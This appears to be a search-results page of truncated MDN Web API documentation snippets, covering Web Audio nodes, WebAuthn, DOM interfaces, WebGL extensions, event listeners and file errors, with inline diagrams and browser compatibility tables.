webkitAudioContext; var audioCtx = new AudioContext(); var gainNode = audioCtx.createGain(); gainNode.gain.value = 0; Next, an example showing a DynamicsCompressorNode having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once. var compressor = audioCtx.createDynamicsCompressor(); compressor.threshold.setValueAtTime(-50...
... Working Draft ...
AudioWorkletNode - Web APIs
Constructor AudioWorkletNode() Creates a new instance of an AudioWorkletNode object. ...
... Constructor AudioWorkletNode() Creates a new instance of an AudioWorkletNode object. Properties Also Inherits properties from its parent, AudioNode. ...
...letNode passing it the name of the processor, and connect the node to an audio graph. const audioContext = new AudioContext() await audioContext.audioWorklet.addModule('white-noise-processor.js') const whiteNoiseNode = new AudioWorkletNode(audioContext, 'white-noise-processor') whiteNoiseNode.connect(audioContext.destination) Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioWorkletNode' in that specification. Working Draft ...
AuthenticatorAttestationResponse.attestationObject - Web APIs
ield is used by both AuthenticatorAttestationResponse and by AuthenticatorAssertionResponse. When used in attestation, it contains an optional field, attestedCredentialData. This field is not included when used in the AuthenticatorAssertionResponse. The attestedCredentialData field contains the credentialId and credentialPublicKey. fmt A text string that indicates the format of the attStmt. ...
...Data. This field is not included when used in the AuthenticatorAssertionResponse. The attestedCredentialData field contains the credentialId and credentialPublicKey. fmt A text string that indicates the format of the attStmt. The
WebAuthn specification defines a number of formats; however, formats may also be defined in other specifications and registered in an IANA registry. Formats defined by
WebAuthn are: "packed" "tpm" "android-key" "android-safetynet" "fido-u2f" "none" attStmt A an attestation statement that is of the format defined by "fmt". For now, see the
WebAuthn specification for details on each format. Examples var publicKey = { challenge: /* from the server */, rp: { name: "Example CORP", id : "login.example.com" }, user: { id: new U...
... Recommendation Initial definition. ...
BaseAudioContext.createConstantSource() - Web APIs
of the BaseAudioContext interface creates a ConstantSourceNode object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value. Syntax var constantSourceNode = AudioContext.createConstantSource() Parameters None. Returns A ConstantSourceNode instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'createConstantSource()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOper...
...efinition of 'createConstantSource()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...SourceChrome Full support 56Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 43Safari No support No
WebView Android Full support 56Chrome Android Full support 56Firefox Android Full support 53Opera Android Full support 43Safari iOS No support NoSamsung Internet Android ...
BaseAudioContext.createOscillator() - Web APIs
orm. It basically generates a constant tone. Syntax var oscillatorNode = audioCtx.createOscillator(); Returns An OscillatorNode. Example The following example shows basic usage of an AudioContext to create an oscillator node. For applied examples/information, check out our Violent Theremin demo (see app.js for relevant code); also see our OscillatorNode page for more information. ...
... = audioCtx.createOscillator(); Returns An OscillatorNode. Example The following example shows basic usage of an AudioContext to create an oscillator node. For applied examples/information, check out our Violent Theremin demo (see app.js for relevant code); also see our OscillatorNode page for more information. ...
... Working Draft ...
BaseAudioContext.createScriptProcessor() - Web APIs
Syntax var scriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels); Parameters bufferSize The buffer size in units of sample-frames. If specified, the bufferSize must be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. ...
... size and allow the implementation to pick a good buffer size to balance between latency and audio quality. numberOfInputChannels Integer specifying the number of channels for this node's input, defaults to 2. Values of up to 32 are supported. numberOfOutputChannels Integer specifying the number of channels for this node's output, defaults to 2. Values of up to 32 are supported. Important:
Webkit currently (version 31) requires that a valid bufferSize be passed when calling this method. Note: It is invalid for both numberOfInputChannels and numberOfOutputChannels to be zero. Returns A ScriptProcessorNode. Example The following example shows basic usage of a ScriptProcessorNode to take a track loaded via AudioContext.decodeAudioData(), process it, adding a bit of white noise to ...
... Working Draft ...
BaseAudioContext.decodeAudioData() - Web APIs
The decodeAudioData() method of the BaseAudioContext Interface is used to asynchronously decode audio file data contained in an ArrayBuffer. In this case the ArrayBuffer is loaded from XMLHttpRequest and FileReader. The decoded AudioBuffer is resampled to the AudioContext's sampling rate, then passed to a callback or promise. This is the preferred method of creating an audio source for
Web Audio API from an audio track. This method only works on complete file data, not fragments of audio file data. Syntax Older callback syntax: baseAudioContext.decodeAudioData(ArrayBuffer, successCallback, errorCallback); Newer promise-based syntax: Promise<decodedData> baseAudioContext.decodeAudioData(ArrayBuffer); Parameters ArrayBuffer An ArrayBuffer containing the audio data to be decoded, usu...
...ects the source to the AudioContext.destination and sets it to loop. The buttons in the example simply run getData() to load the track and start it playing, and stop it playing, respectively. When the stop() method is called on the source, the source is cleared out. Note: You can run the example live (or view the source.) // define variables var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var source; var pre = document.querySelector('pre'); var myScript = document.querySelector('script'); var play = document.querySelector('.play'); var stop = document.querySelector('.stop'); // use XHR to load an audio track, and // decodeAudioData to decode it and stick it in a buffer. // Then we put the buffer into the source function getData() { source = audioCtx.createB...
... Working Draft ...
Bluetooth.getAvailability() - Web APIs
Also, user can configure User Agent to return a fixed value instead of a real one. Syntax var readerPromise = Bluetooth.getAvailability(); Parameters None. Return value A Promise that resolves with Boolean. ...
...Also, user can configure User Agent to return a fixed value instead of a real one. Syntax var readerPromise = Bluetooth.getAvailability(); Parameters None. Return value A Promise that resolves with Boolean. ...
... any exceptions. Examples The following snippet prints out a message in the console specifying wheter or not Bluetooth is supported: navigator.bluetooth.getAvailability().then(available => { if (available) console.log("This device supports Bluetooth!"); else console.log("Doh! Bluetooth is not supported"); }); Specifications Specification Status Comment
Web BluetoothThe definition of 'getAvailability()' in that specification. Draft Initial definition. ...
BroadcastChannel - Web APIs
The BroadcastChannel interface represents a named channel that any browsing context of a given origin can subscribe to. It allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. Messages are broadcasted via a message event fired at all BroadcastChannel objects listening to the channel. Note: This feature is available in
Web Workers. ...
...tening to the channel. Note: This feature is available in
Web Workers. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/BroadcastChannel" target="_top"><rect x="151" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">BroadcastChannel</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Construct...
Managing screen orientation - Web APIs
There are several ways to handle screen orientation, both with CSS and JavaScript. ...
...le such a change. Listening orientation change The orientationchange event is triggered each time the device change the orientation of the screen and the orientation itself can be read with the Screen.orientation property. screen.addEventListener("orientationchange", function () { console.log("The orientation of the screen is: " + screen.orientation); }); Preventing orientation change Any
web application can lock the screen to suits its own needs. The screen is locked using the Screen.lockOrientation() method and unlocked using the Screen.unlockOrientation(). The Screen.lockOrientation() accepts a string (or series of strings) to define the kind of lock to apply. Accepted values are: portrait-primary, portrait-secondary, landscape-primary, landscape-secondary, portrait, landscape (Se...
...d using the Screen.unlockOrientation(). The Screen.lockOrientation() accepts a string (or series of strings) to define the kind of lock to apply. Accepted values are: portrait-primary, portrait-secondary, landscape-primary, landscape-secondary, portrait, landscape (See Screen.lockOrientation to know more about each of those values). screen.lockOrientation('landscape'); Note: A screen lock is
web application dependent. If application A is locked to landscape and application B is locked to portrait, switching from application A to B or B to A will not fire an orientationchange event because both applications will keep the orientation they had. However, locking the orientation can fire an orientationchange event if the orientation had to be changed to satisfy the lock requirements. ...
Cache - Web APIs
be // undefined, and we need to fetch() the resource. console.log(' No response for %s found in cache. About to fetch ' + 'from network...', event.request.url); // We call .clone() on the request since we might use it in a call to cache.put() later on. // Both fetch() and cache.put() "consume" the request, so we need to make a copy. ...
...t to cache responses that correspond to fonts, // i.e. have a Content-Type response header that starts with "font/". // Note that for opaque filtered responses (https://fetch.spec.whatwg.org/#concept-filtered-response-opaque) // we can't access to the response headers, so this check will always fail and the font won't be cached. // All of the Google
Web Fonts are served off of a domain that supports CORS, so that isn't an issue here. // It is something to keep in mind if you're attempting to cache other resources from a cross-origin // domain that doesn't support CORS, though! // We call .clone() on the response to save a copy of it to the cache. By doing so, we get to keep // the original response...
... // It is something to keep in mind if you're attempting to cache other resources from a cross-origin // domain that doesn't support CORS, though! // We call .clone() on the response to save a copy of it to the cache. By doing so, we get to keep // the original response object which we will return back to the controlled page. // (see /docs/
Web/API/Request/clone) console.log(' Caching the response to', event.request.url); cache.put(event.request, response.clone()); } else { console.log(' Not caching the response to', event.request.url); } // Return the original response object, which will be used to fulfill the resource request. return response; }); ...
CanvasRenderingContext2D.drawWindow() - Web APIs
It is synchronous, and as such can't be compatible with Fission. If you're using it from an extension, you should switch to tabs.captureTab. ...
...the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower). It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many
websites expect that transparent parts of their interface will be drawn on white background. With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation. Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbn...
...pect that transparent parts of their interface will be drawn on white background. With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation. Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of
web pages, and the source is available for reference. Specifications Not part of any current specification or draft. This is a non-standard and internal only API. ...
Hit regions and accessibility - Web APIs
The following guidelines can help to make it more accessible. Fallback content The content inside the <canvas> ... </canvas> tags can be used as a fallback for browsers which don't support canvas rendering. ...
...);" onblur="drawPicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> See the video how NVDA reads this example by Steve Faulkner. ARIA rules Accessible Rich Internet Applications (ARIA) defines ways to make
Web content and
Web applications more accessible to people with disabilities. You can use ARIA attributes to describe the behavior and purpose of the canvas element. See ARIA and ARIA techniques for more information. <canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"></canvas> Hit regions Whether the mouse coordinates are within a particular area on the ca...
... within a particular area on the canvas, is a common problem to solve. The hit region API allows you to define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools. It allows you to make hit detection easier and lets you route events to DOM elements. The API has the following three methods (which are still experimental in current
web browsers; check the browser compatibility tables). CanvasRenderingContext2D.addHitRegion() Adds a hit region to the canvas. CanvasRenderingContext2D.removeHitRegion() Removes the hit region with the specified id from the canvas. CanvasRenderingContext2D.clearHitRegions() Removes all hit regions from the canvas. You can add a hit region to your path and check for the MouseEvent.reg...
CharacterData - Web APIs
es, like Text, Comment, or ProcessingInstruction which aren't abstract. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CharacterData" target="_top"><rect x="266" y="1" width="130" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Inh...
CompositionEvent - Web APIs
represents events that occur due to the user indirectly entering text. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CompositionEvent" target="_top"><rect x="231" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CompositionEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Construct...
DOMException() - Web APIs
OMException(message, name); Parameters message Optional A description of the exception. If not present, the empty string '' is used. name Optional Returns a DOMString that contains one of the strings associated with an error constant. Return value DOMException A newly created DOMException object. Example TBD Specifications Specification Status Comment
Web IDLThe definition of 'DOMException()' in that specification. Candidate Recommendation Adds the constructor for the DOMException class. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFir...
...n that specification. Candidate Recommendation Adds the constructor for the DOMException class. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ox for AndroidOpera for AndroidSafari on iOSSamsung InternetDOMException() constructorChrome Full support YesEdge Full support 79Firefox ? IE ? Opera Full support YesSafari ?
WebView Android Full support YesChrome Android Full support YesFirefox Android ? Opera Android Full support YesSafari iOS ? Samsung Internet Android Full support Y...
DOMHighResTimeStamp - Web APIs
e the previous page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable. If neither of the above determines the time origin, then the time origin is the time at which the navigation responsible for creating the window's current Document took place. If the script's global object is a WorkerGlobalScope (that is, the script is running as a
web worker), the time origin is the moment at which the worker was created. In all other cases, the time origin is undefined. Methods This type has no methods. Usage notes You can get the current timestamp value--the time that has elapsed since the context was created--by calling the performance method now(). This method is available in both Window and Worker contexts. Example To determine ho...
... definition of 'DOMHighResTimeStamp' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imestampChrome Full support 6Edge Full support 12Firefox Full support 7IE Full support 9Opera Full support 15Safari Full support 8
WebView Android Full support YesChrome Android Full support 18Firefox Android Full support 15Opera Android Full support 14Safari iOS Full support 9Samsung Internet Android ...
DOMRect - Web APIs
A DOMRect represents a rectangle. The type of box represented by the DOMRect is specified by the method or property that returned it. For example, VREyeParameters.renderRect from the defunct
WebVR API specified the viewport of a canvas into which visuals for one eye of a head mounted display should be rendered. It inherits from its parent, DOMRectReadOnly. ...
...play should be rendered. It inherits from its parent, DOMRectReadOnly. ...
...eight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">DOMRectReadOnly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#D4DDE4" fill="none"/><line x1="161" y1="25" x2="191" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/DOMRect" target="_top"><rect x="191" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">DOMRect</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor DOMRect() ...
Detecting device orientation - Web APIs
There are two JavaScript events that handle orientation information. The first one is the DeviceOrientationEvent, which is sent when the accelerometer detects a change to the orientation of the device. ...
... There are two JavaScript events that handle orientation information. The first one is the DeviceOrientationEvent, which is sent when the accelerometer detects a change to the orientation of the device. ...
..., true); What's really changed are the information provided within the DeviceMotionEvent object passed as a parameter of the HandleMotion function. The motion event contains four properties: DeviceMotionEvent.acceleration DeviceMotionEvent.accelerationIncludingGravity DeviceMotionEvent.rotationRate DeviceMotionEvent.interval Motion values explained The DeviceMotionEvent objects provide
web developers with information about the speed of changes for the device's position and orientation. The changes are provided along three axis (see Orientation and motion data explained for details). For acceleration and accelerationIncludingGravity, those axes correspond to the following: x: Represents the axis from West to East y: Represents the axis from South to North z: Represents the axi...
Document.createElement() - Web APIs
hod. When called on an HTML document, createElement() converts tagName to lower case before creating the element. In Firefox, Opera, and Chrome, createElement(null) works like createElement("null"). options Optional An optional ElementCreationOptions object, containing a single property named is, whose value is the tag name of a custom element previously defined via customElements.define(). See
Web component example for more details. Return value The new Element. Examples Basic example This creates a new <div> and inserts it before the element with the ID "div1". HTML <!DOCTYPE html> <html> <head> <title>||Working with elements||</title> </head> <body> <div id="div1">The text above has been created dynamically.</div> </body> </html> JavaScript document.body.onload = addElemen...
...In this case, our custom element extends the HTMLUListElement, which represents the <ul> element. // Create a class for the element class ExpandingList extends HTMLUListElement { constructor() { // Always call super first in constructor super(); // constructo...
...In this case, our custom element extends the HTMLUListElement, which represents the <ul> element. // Create a class for the element class ExpandingList extends HTMLUListElement { constructor() { // Always call super first in constructor super(); // constructor definition left out for brevity ... } } // Define the new element customEleme...
DocumentType - Web APIs
The DocumentType interface represents a Node containing a doctype. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/DocumentType" target="_top"><rect x="266" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">DocumentType</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Inher...
Using the W3C DOM Level 1 Core - Web APIs
What is a DOM tree? A DOM tree is a kind of tree whose nodes represent an HTML or XML document's contents. ...
... or XML document has a unique DOM tree representation. ...
...This document object implements the Document interface from the W3C's DOM Level 1 spec. A simple example Suppose the author wants to change the header of the above document and write two paragraphs instead of one. ...
DynamicsCompressorNode() - Web APIs
release: The amount of time (in seconds) to increase the gain by 10dB. Its default value is 0.250. This parameter is k-rate. Its nominal range is [0, 1]. threshold: The decibel value above which the compression will start taking effect. Its default value is -24. This parameter is k-rate. Its nominal range is [-100, 0]. Specifications Specification Status Comment
Web Audio APIThe definition of 'DynamicsCompressorNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOp...
...inition of 'DynamicsCompressorNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before Chrome 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
EXT_blend_minmax - Web APIs
The EXT_blend_minmax extension is part of the
WebGL API and extends blending capabilities by adding two new blend equations: the minimum or maximum color components of the source and destination colors.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default. The constants in
WebGL2 are gl.MIN and gl.MAX. ...
... ext.MAX_EXT Produces the maximum color components of the source and destination colors. ...
... ext.MAX_EXT Produces the maximum color components of the source and destination colors. ...
EXT_disjoint_timer_query.isQueryEXT() - Web APIs
Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); // ... ...
... Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); // ... ...
... Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); // ... ...
Element.scroll() - Web APIs
finition of 'element.scroll()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...scrollChrome Full support 45Edge Full support 79Firefox Full support 36IE No support NoOpera Full support 32Safari Full support 10
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support 36Opera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
...rameterChrome Full support 45Edge Full support 79Firefox Full support YesIE No support NoOpera Full support 32Safari No support No
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support YesOpera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
Element.scrollTo() - Web APIs
The definition of 'element.scrollTo()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rollToChrome Full support 45Edge Full support 79Firefox Full support 36IE No support NoOpera Full support 32Safari Full support 10
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support 36Opera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
...rameterChrome Full support 45Edge Full support 79Firefox Full support YesIE No support NoOpera Full support 32Safari No support No
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support YesOpera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
Element.slot - Web APIs
Syntax var aString = element.slot element.slot = aString Value A DOMString. Examples In our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text. ...
...tatus Comment DOMThe definition of 'slot' in that specification. Living Standard Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ri on iOSSamsung InternetslotChrome Full support 53Edge Full support <=79Firefox Full support 63IE ? ...
Event - Web APIs
EventListener(), and this generally replaces using the old HTML event handler attributes. Further, when properly added, such handlers can also be disconnected if needed using removeEventListener(). Note: One element can have several such handlers, even for the exact same event--particularly if separate, independent code modules attach them, each for its own independent purposes. ...
... Properties Event.bubbles Read only A boolean indicating whether or not the event bubbles up through the DOM. Event.cancelBubble A historical alias to Event.stopPropagation(). Setting its value to true before returning from an event handler prevents propagation of the event. Event.ca...
...entually adopted into the DOM specification in order to ensure existing sites continue to work. Ideally, you should try to use Event.preventDefault() and Event.defaultPrevented instead, but you can use returnValue if you choose to do so. Event.srcElement A non-standard alias (from old versions of Microsoft Internet Explorer) for Event.target. Some other browsers are starting to support it for
web compatibility purposes. Event.target Read only A reference to the target to which the event was originally dispatched. Event.timeStamp Read only The time at which the event was created (in milliseconds). By specification, this value is time since epoch--but in reality, browsers' definitions vary. In addition, work is underway to change this to be a DOMHighResTimeStamp instead. Event.type R...
EventTarget.addEventListener() - Web APIs
phases. Events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the useCapture parameter. Note: useCapture has not always been optional. Ideally, you should include it for the widest possible browser compatibility. wantsUntrusted A Firefox (Gecko)-specific parameter. If true, the listener receives synthetic events dispatched by
web content (the default is false for browser chrome and true for regular
web pages). This parameter is useful for code found in add-ons, as well as the browser itself. Return value undefined Usage notes The event listener callback The event listener can be specified as either a callback function or an object that implements EventListener, whose handleEvent() method serves as the callback funct...
...the third parameter, if passiveSupported is true, we're specifying an options object with passive set to true; otherwise, we know that we need to pass a Boolean, and we pass false as the value of the useCapture parameter. If you'd prefer, you can use a third-party library like Modernizr or Detect It to do this test for you. You can learn more from the article about EventListenerOptions from the
Web Incubator Community Group. Examples Add a simple listener This example demonstrates how to use addEventListener() to watch for mouse clicks on an element. HTML <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> JavaScript // Function to change the content of t2 function modifyText() { const t2 = document.getElementById("t2"); if (t2.firstChil...
...if (el.addEventListener) { el.addEventListener('click', modifyText, false); } else if (el.attachEvent) { el.attachEvent('onclick', modifyText); } There is a drawback to attachEvent(): The value of this will be a reference to the window object, instead of the element on which it was fired. The attachEvent() method could be paired with the onresize event to detect when certain elements in a
web page were resized. The proprietary mselementresize event, when paired with the addEventListener method of registering event handlers, provides similar functionality as onresize, firing when certain HTML elements are resized. Polyfill You can work around addEventListener(), removeEventListener(), Event.preventDefault(), and Event.stopPropagation() not being supported by Internet Explorer 8 by us...
FileError - Web APIs
shows the type of error that occurred. Best practices Most people don't read the page on errors and exceptions unless they're stumped. So the following are a few tips that could help you avoid some pitfalls. Error callbacks are not optional for your sanity Although error callbacks are optional, you should include them in the arguments of the methods for the sake of the sanity of your users. A
web app could fail for various reasons, so you don't want to spend the rest of your day guessing what's going on and going through maddening troubleshooting. Don't run your app from file:// For security reasons, browsers do not allow you to run your app from file://. In fact, many of the powerful storage APIs (such as File System, BlobBuilder, and FileReader) throw errors if you run the app locally...
...day guessing what's going on and going through maddening troubleshooting. Don't run your app from file:// For security reasons, browsers do not allow you to run your app from file://. In fact, many of the powerful storage APIs (such as File System, BlobBuilder, and FileReader) throw errors if you run the app locally from file://. When you're just testing your app, and you don't want to set up a
web server, you can bypass the security restriction on Chrome. Just start Chrome with the --allow-file-access-from-files flag. Use the flag only for testing purposes. Attribute Attribute Type Description code unsigned short The most appropriate error code for the condition. See Error codes for possible values. Error codes Note: Do not rely on the numeric va...
...s. QUOTA_EXCEEDED_ERR 10 Either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. To ask for more storage, see Managing HTML5 Offline Storage. SECURITY_ERR 2 Access to the files were denied for one of the following reasons: The files might be unsafe for access within a
Web application. Too many calls are being made on file resources. Other unspecified security error code or situations. TYPE_MISMATCH_ERR 11 The app looked up an entry, but the entry found is of the wrong type. For example, the app is asking for a directory, when the entry is really a file. ...
FileReaderSync.readAsArrayBuffer() - Web APIs
d by this method: NotFoundError is raised when the resource represented by the DOM File or Blob cannot be found, e.g. because it has been erased. SecurityError is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the
Web (like it is a system file). NotReadableError is raised when the resource cannot be read due to a permission problem, like a concurrent lock. EncodingError is raised when the resource is a data URL and exceed the limit length defined by each browser. Specifications Specification Status Comment File APIThe definition of 'readAsArrayBufferSync' in that specificatio...
...definition of 'readAsArrayBufferSync' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
